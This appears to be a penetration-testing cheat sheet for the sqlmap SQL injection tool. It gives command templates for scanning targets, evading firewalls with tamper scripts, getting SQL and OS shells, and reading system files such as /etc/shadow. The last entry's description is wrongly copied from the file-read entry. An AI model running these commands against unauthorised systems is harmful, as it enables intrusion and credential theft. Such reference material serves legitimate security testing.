Scan a URL

```
sqlmap -u “{URL}”
```

This will scan the targeted URL for SQL injection weaknesses.
If an asterisk (*) is included within a URL parameter, SQLMAP will only attempt to target that parameter.

Scan from an HTTP request

```
sqlmap -r “{file}”
```

This will use the specified file as the basis for the HTTP requests it sends when searching for SQL injection weaknesses.
If an asterisk (*) is included within a parameter, SQLMAP will only attempt to target that parameter.

Using a Local Proxy

```
sqlmap --proxy={proxyIP}:{proxyPort}
```

This will send all requests via the local proxy. Note that due to the volume of requests that SQLMAP will generate, it is recommended to setup a new proxy listener on a dedicated port for SQLMAP to make it easier to filter out the results.

Using Tamper Scripts

```
sqlmap --tamper={filterScript1,filterScript2,etc.}
```

This will use the specified script(s) to tamper the injection data. This can be useful when attempting to evade firewalls or other filters.
These tamper scripts may be in `/usr/share/sqlmap/tamper`.
Common scripts which may be useful include: randomcomments, space2commnt, randomcase, space2plus

Specify the SQL Injection Technique to use

```
sqlmap --technique={BEUST}
```

This will use the specified SQL injection techniques:
B - Boolean-based blind; E = Error-based; U - UNION based; S - Stacked queries; T - Time-based.

Specify the Back-End Operating System

```
sqlmap --os={OS}
```

If you already know what the back-end operating system is running, then significant time and effort can be saved by telling SQLMAP to only target the specified OS.

Specify the Back-End Database Type

```
sqlmap --dbms={database}
```

If you already know what the back-end database is running, then significant time and effort can be saved by telling SQLMAP to only target the specified database. If you know the database version, then you can add a space and then the version number (e.g. `--dbms=mysql 5.0`) Possible common options include: MySQL, Microsoft SQL Server, Oracle, SQLite

Get SQL Shell

```
sqlmap --sql-shell
```

Attempts to get a SQL shell on the database.

Get OS Shell

```
sqlmap --os-shell
```

Attempts to get an OS shell on the database.

Read a File on the Operating System

```
sqlmap --file-read={file}
```

Reads a file on the target system, if the database user has sufficient privileges to do so. e.g. `--file-read "/etc/shadow"`

Direct Database Connection

```
sqlmap -d
{DBMS://User:Password@DBMS_IP:DBMS_PORT/DatabaseName}
```

Reads a file on the target system, if the database user has sufficient privileges to do so. e.g. `--file-read "/etc/shadow"`